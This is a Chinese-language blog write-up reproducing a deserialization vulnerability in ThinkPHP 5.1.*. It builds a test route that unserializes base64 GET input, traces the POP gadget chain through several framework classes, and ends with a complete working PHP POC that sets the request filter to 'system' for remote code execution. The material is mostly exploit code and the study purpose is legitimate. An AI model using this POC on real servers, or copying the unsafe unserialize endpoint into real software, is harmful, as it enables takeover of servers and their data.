Last updated on November 30, 2023 am
ThinkPHP 5.1.* 反序列化漏洞复现
前期准备
使用命令composer create-project topthink/think tp5.1 "5.1.*"
创建一个名为tp5.1
的项目,版本为5.1.*
进入tp5.1
,使用命令php think run
启动
在tp5.1/application/index/controller/Index.php
创建处理函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php namespace app\index\controller;
class Index { public function index() { return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>'; }
public function hello($name = 'ThinkPHP5') { return 'hello,' . $name; }
public function demo(){ if(isset($_GET['c'])){ $code = $_GET['c']; unserialize(base64_decode($code)); } else{ highlight_file(__FILE__); } }
}
|
进入tp5.1/route/route.php
创建路由
1 2
| Route::get('demo', 'index/demo');
|
访问http://myhost.local/ThinkPHP/tp5.1/public/demo
即可
反序列化链分析
ThinkPHP_5.1的漏洞入口在think\process\pipes\windows
的__destruct()
方法
1 2 3 4 5
| public function __destruct() { $this->close(); $this->removeFiles(); }
|
其中$this->close()
无法利用,能够利用的是$this->removeFiles()
1 2 3 4 5 6 7 8 9
| private function removeFiles() { foreach ($this->files as $filename) { if (file_exists($filename)) { @unlink($filename); } } $this->files = []; }
|
可以看到在removeFiles()
里面使用了file_exists()
函数,这里会把$filename
当做一个字符串来处理,而$this->files
又可控,这意味着我们可以使用任何一个实现了__toString()
的类,最终选择使用 think\model\concern
的trait Conversion
,注意这里是trait
,无法实例化,需要找一个实现此trait
的类才可以实例化,这后面会提到。
先来看__toString()
方法
1 2 3 4
| public function __toString() { return $this->toJson(); }
|
继续跟进toJson()
1 2 3 4
| public function toJson($options = JSON_UNESCAPED_UNICODE) { return json_encode($this->toArray(), $options); }
|
继续跟进toArray()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| public function toArray() { $item = []; $hasVisible = false;
foreach ($this->visible as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { list($relation, $name) = explode('.', $val); $this->visible[$relation][] = $name; } else { $this->visible[$val] = true; $hasVisible = true; } unset($this->visible[$key]); } }
foreach ($this->hidden as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { list($relation, $name) = explode('.', $val); $this->hidden[$relation][] = $name; } else { $this->hidden[$val] = true; } unset($this->hidden[$key]); } }
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { if (isset($this->visible[$key]) && is_array($this->visible[$key])) { $val->visible($this->visible[$key]); } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) { $val->hidden($this->hidden[$key]); } if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) { $item[$key] = $val->toArray(); } } elseif (isset($this->visible[$key])) { $item[$key] = $this->getAttr($key); } elseif (!isset($this->hidden[$key]) && !$hasVisible) { $item[$key] = $this->getAttr($key); } }
if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { $relation = $this->getRelation($key);
if (!$relation) { $relation = $this->getAttr($key); if ($relation) { $relation->visible($name); } }
$item[$key] = $relation ? $relation->append($name)->toArray() : []; } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); $relation = $this->getRelation($key);
if (!$relation) { $relation = $this->getAttr($key); if ($relation) { $relation->visible([$attr]); } }
$item[$key] = $relation ? $relation->append([$attr])->toArray() : []; } else { $item[$name] = $this->getAttr($name, $item); } } }
return $item; }
|
代码很长,但关键部分只在在中后部分处
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { $relation = $this->getRelation($key);
if (!$relation) { $relation = $this->getAttr($key); if ($relation) { $relation->visible($name); } }
$item[$key] = $relation ? $relation->append($name)->toArray() : []; } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); $relation = $this->getRelation($key);
if (!$relation) { $relation = $this->getAttr($key); if ($relation) { $relation->visible([$attr]); } }
|
这里面的利用点在于$relation->visible($name);
和 $relation->visible([$attr]);
,因为this->append
可控,所以理论上我们可以选择任意一个来作跳板,我这里选择了第二个,即 $relation->visible([$attr]);
如果能进入这条语句,由于this->append
可控,那么$relation
也就可控,$relation
是由语句 $relation = $this->getAttr($key);
而来
不管其他,先搓个一个简单POC调试调试,想办法进入这条语句 $relation->visible([$attr]);
。
还记得之前提及,这个Conversion
是个trail
类,需要找一个实现此trait
的类,我们选择使用think\model\Pivot
类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php
namespace think\process\pipes{ use think\model\Pivot;
class Windows{ private $files = []; public function __construct(){ $this->files[] = new Pivot(); } } }
namespace think\model{ class Pivot{ protected $append = []; public function __construct(){ $this->append = ['0.']; } } }
namespace {
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows())); }
|
此时可以顺利进入块
1 2 3 4 5 6
| if (!$relation) { $relation = $this->getAttr($key); if ($relation) { $relation->visible([$attr]); } }
|
但是会在 $relation = $this->getAttr($key);
跟进去查看getAttr()
,此时$key=0
,即在Pivot->append
设置的元素
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| public function getAttr($name, &$item = null) { try { $notFound = false; $value = $this->getData($name); } catch (InvalidArgumentException $e) { $notFound = true; $value = null; }
$fieldName = Loader::parseName($name); $method = 'get' . Loader::parseName($name, 1) . 'Attr';
if (isset($this->withAttr[$fieldName])) { if ($notFound && $relation = $this->isRelationAttr($name)) { $modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation); }
$closure = $this->withAttr[$fieldName]; $value = $closure($value, $this->data); } elseif (method_exists($this, $method)) { if ($notFound && $relation = $this->isRelationAttr($name)) { $modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation); }
$value = $this->$method($value, $this->data); } elseif (isset($this->type[$name])) { $value = $this->readTransform($value, $this->type[$name]); } elseif ($this->autoWriteTimestamp && in_array($name, [$this->createTime, $this->updateTime])) { if (is_string($this->autoWriteTimestamp) && in_array(strtolower($this->autoWriteTimestamp), [ 'datetime', 'date', 'timestamp', ])) { $value = $this->formatDateTime($this->dateFormat, $value); } else { $value = $this->formatDateTime($this->dateFormat, $value, true); } } elseif ($notFound) { $value = $this->getRelationAttribute($name, $item); }
return $value; }
|
代码也很长,但关键只在最前面的try
块
1 2 3 4 5 6 7 8
| try { $notFound = false; $value = $this->getData($name); } catch (InvalidArgumentException $e) { $notFound = true; $value = null; }
|
跟进getData()
,tips:此时的$name=0
1 2 3 4 5 6 7 8 9 10 11 12 13
| public function getData($name = null) { if (is_null($name)) { return $this->data; } elseif (array_key_exists($name, $this->data)) { return $this->data[$name]; } elseif (array_key_exists($name, $this->relation)) { return $this->relation[$name]; } throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name); }
|
我们会发现报错的地方就在这里,这里的三个if
条件都没有进去,第一个if
不进去是因为这里的$name
显然不为null
,而我们也不能使得$name
为null
,否在会在更前面报错;
接下来就思考如何进入下面的两个if
条件。但这也简单,顾名思义,$this->data
需要存在一个键为$name
的数组,即$name=>xxxx
形式,修改POC,继续尝试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php
namespace think\process\pipes{ use think\model\Pivot;
class Windows{ private $files = []; public function __construct(){ $this->files[] = new Pivot(); } } }
namespace think\model{ class Pivot{ protected $append = []; protected $data = []; public function __construct(){ $this->append = ['0.']; $this->data = ['0' => '123']; } } }
namespace {
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows())); }
|
发现此时成功进入语句$relation->visible([$attr]);
![](img/截屏2023-10-08 13.27.17.png)
并且$relation
的值也知道,就是我们自己设置的123
。那么待会就可以把123
替换为一个对象,利用语句$relation->visible([$attr]);
调用其他类的visible
方法,或者调用__call
方法。
经过排查后,发现其他类的visible
方法都不好利用,于是考虑__call
方法,
这里选择think\Request
类的__call方法
1 2 3 4 5 6 7 8 9
| public function __call($method, $args) { if (array_key_exists($method, $this->hook)) { array_unshift($args, $this); return call_user_func_array($this->hook[$method], $args); }
throw new Exception('method not exists:' . static::class . '->' . $method); }
|
看到了call_user_func_array
函数,但是依然不能高兴太早。
当我们进入此方法时,$method
是visible
,$args
是null
,因为$this->hook
可控,所以最开始的if
条件容易过,但关键是 array_unshift($args, $this)
,这条语句会把$this
插入args
的首位,让args
由空数组变为[0] => "think\Request"
,这就使得call_user_func_array($this->hook[$method], $args)
的参数不可控,就没那么容易调用system
函数直接RCE了。
但好在$this->hook
是可控的,$method
是已知的,也就意味着$this->hook[$method]
是可控,也就是我们可以调用任何一个函数,只不过参数不可控。
梳理一下目前的成果:
我们以Windows
类的__destruct()
为入口,利用其中removeFiles()
里的file_exists()
函数,此函数会把对象当字符串使用,于是利用trait Conversion
的__toString()
,以实现了此trait的think\model\Pivot
来实例化对象,并经过调试成功进入此语句call_user_func_array($this->hook[$method], $args);
filterValue
现在我们可以调用任意一个函数,但问题就在于参数不可控,所以我们需要另寻他路。
我们把目光聚焦于该类的filterValue
方法,事实上ThinkPHP
许多RCE都与此方法有关
此方法代码也很多,但关键只在于前面几句
1 2 3 4 5 6 7 8 9
| private function filterValue(&$value, $key, $filters) { $default = array_pop($filters);
foreach ($filters as $filter) { if (is_callable($filter)) { $value = call_user_func($filter, $value); ·······
|
要利用的方法就是这里的$value = call_user_func($filter, $value);
是的,虽然之前找到的call_user_func_array
很香,但是奈何无法控制参数,只能当做跳板,转寻其他的call_user_func
,于是乎就利用filterValue
里面的call_user_func
但问题又在于,这里的参数$filter
和$value
仍然不可控,还得继续找,看有没有其他方法使用了此函数
继续寻找到方法input()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| public function input($data = [], $name = '', $default = null, $filter = '') { if (false === $name) { return $data; }
$name = (string) $name; if ('' != $name) { if (strpos($name, '/')) { list($name, $type) = explode('/', $name); }
$data = $this->getData($data, $name);
if (is_null($data)) { return $default; }
if (is_object($data)) { return $data; } }
$filter = $this->getFilter($filter, $default);
if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); if (version_compare(PHP_VERSION, '7.1.0', '<')) { $this->arrayReset($data); } } else { $this->filterValue($data, $name, $filter); }
if (isset($type) && $data !== $default) { $this->typeCast($data, $type); }
return $data; }
|
代码量中规中矩,这里的关键在于
1 2 3 4
| $filter = $this->getFilter($filter, $default);
if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter);
|
这里会调用之前的filterValue
函数,并且$filter
是由 $filter = $this->getFilter($filter, $default)
得到,看一下函数getFilter()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| protected function getFilter($filter, $default) { if (is_null($filter)) { $filter = []; } else { $filter = $filter ?: $this->filter; if (is_string($filter) && false === strpos($filter, '/')) { $filter = explode(',', $filter); } else { $filter = (array) $filter; } }
$filter[] = $default;
return $filter; }
|
简单审计一下就知道这个函数就是返回$this->filter
那么此时$this->filter
算是可控了
但是这里还有问题没有解决,就是 array_walk_recursive($data, [$this, 'filterValue'], $filter);
这里面的$data
仍然不可控,就需要继续找函数,看看有没有哪个方法调用input
param
经过查找,发现$this->param()
方法可以
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| public function param($name = '', $default = null, $filter = '') { if (!$this->mergeParam) { $method = $this->method(true);
switch ($method) { case 'POST': $vars = $this->post(false); break; case 'PUT': case 'DELETE': case 'PATCH': $vars = $this->put(false); break; default: $vars = []; }
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true; }
if (true === $name) { $file = $this->file(); $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter); }
return $this->input($this->param, $name, $default, $filter); }
|
留意最后一句的 $this->input($this->param, $name, $default, $filter);
,这里就能控制$this->param
参数,进而可以控制input()
里的$data
参数,
但要留意在这之前还有这么一段
1 2
| $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
|
也就是会和get
请求的参数合并,不过这里不是什么大事,仍然都是可控的。
然而还有一个问题,就是这里的$name
依然是不可控的,依旧是类think\request
,这就导致input()
函数里面 $name = (string) $name;
会报错,也就是说,我们还需要找一个函数来控制$name
isAjax
这里就找到了$this->isAjax()
方法
1 2 3 4 5 6 7 8 9 10 11 12 13
| public function isAjax($ajax = false) { $value = $this->server('HTTP_X_REQUESTED_WITH'); $result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) { return $result; }
$result = $this->param($this->config['var_ajax']) ? true : $result; $this->mergeParam = false; return $result; }
|
可以看到$result = $this->param($this->config['var_ajax']) ? true : $result;
,这里我们终于可以控制param()
的第一个参数。整个链子也就通畅了。
第一波梳理:
1
| 我们以`Windows`类的`__destruct()`为入口,利用其中`removeFiles()`里的`file_exists()`函数,此函数会把对象当字符串使用,于是利用`trait Conversion`的`__toString()`,以实现了此trait的`think\model\Pivot`来实例化对象,并经过调试成功进入此语句`call_user_func_array($this->hook[$method], $args);`
|
第二波梳理:
我们可以调用任意函数,但参数不可控,于是需要寻找其他函数来实现目的。
想利用filterValue()
里的call_user_func($filter, $value)
,但两个参数都不可控,往上寻找函数,看谁调用此函数,并借此控制参数
1 2 3 4 5 6 7 8
| private function filterValue(&$value, $key, $filters) { $default = array_pop($filters);
foreach ($filters as $filter) { if (is_callable($filter)) { $value = call_user_func($filter, $value);
|
找到input()
函数,并且$filter
可控,但$data
不可控,继续往上找函数
1 2 3 4 5 6 7 8 9
| public function input($data = [], $name = '', $default = null, $filter = '') { ······ $filter = $this->getFilter($filter, $default);
if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); ······· }
|
找到param()
函数,
1 2 3 4 5 6 7 8 9 10 11 12
| public function param($name = '', $default = null, $filter = '') { ······ $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
·······
return $this->input($this->param, $name, $default, $filter); }
|
看似完美,但是由于此时 $this->input($this->param, $name, $default, $filter);
的第二个参数会是[""]
型,在input()
函数里前半段会因为$name=(string)$name
报错,因此还要往上找函数
找到isAjax
函数
1 2 3 4 5 6 7 8 9 10 11 12 13
| public function isAjax($ajax = false) { $value = $this->server('HTTP_X_REQUESTED_WITH'); $result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) { return $result; }
$result = $this->param($this->config['var_ajax']) ? true : $result; $this->mergeParam = false; return $result; }
|
十分合适,可以控制$this->config['var_ajax']
,从而控制param()
的第一个参数$name
至此整条链子分析完毕。
综合
从头复盘一下吧
起点:Window类的__destruct()
跳板file_exists()
,利用__toString()
跳点1:trait Conversion
,
跳板$relation->visible([$attr]);
利用__call()
跳点2:think\Request
,
跳板call_user_func_array($this->hook[$method], $args)
,利用任意函数执行
跳点3:think\Request
的 function isAjax($ajax = false)
跳板$this->param($this->config['var_ajax']) ? true : $result
,利用param()
,$this->config
跳点4:think\Request
的 function param($name = '', $default = null, $filter = '')
跳板$this->input($this->param, $name, $default, $filter)
,利用input()
,$this->param
跳点5:think\Request
的function input($data = [], $name = '', $default = null, $filter = '')
跳板array_walk_recursive($data, [$this, 'filterValue'], $filter);
,利用 filterValue
终点:think\Request
的function filterValue(&$value, $key, $filters)
利用 $value = call_user_func($filter, $value);
进行RCE
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| <?php
namespace think\process\pipes{ use think\model\Pivot;
class Windows{ private $files = []; public function __construct(){ $this->files[] = new Pivot(); } } }
namespace think\model{ use think\Request; class Pivot{ protected $append = []; protected $data = []; public function __construct(){ $request = new Request(); $this->append = ['0.']; $this->data = array($request); } } }
namespace think{ class Request{ protected $hook; protected $filter; protected $config = ['var_ajax' => ''];
public function __construct() { $this->hook['visible'] = [$this,'isAjax']; $this->filter = 'system'; } } }
namespace {
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows())); }
|
![](img/截屏2023-10-08 20.32.33.png)
后记
- 这条链子要比之前的yii2和laravel要长的多,调试起来也耗时很久。但是最终写出来、整理出来的成就感还是很不错的
- 通过这题也更熟练掌握了IDEA调试方式,对于pop链构造也有更好的认识
- 链子随长,一步一步复现出来其实也就那么回事儿~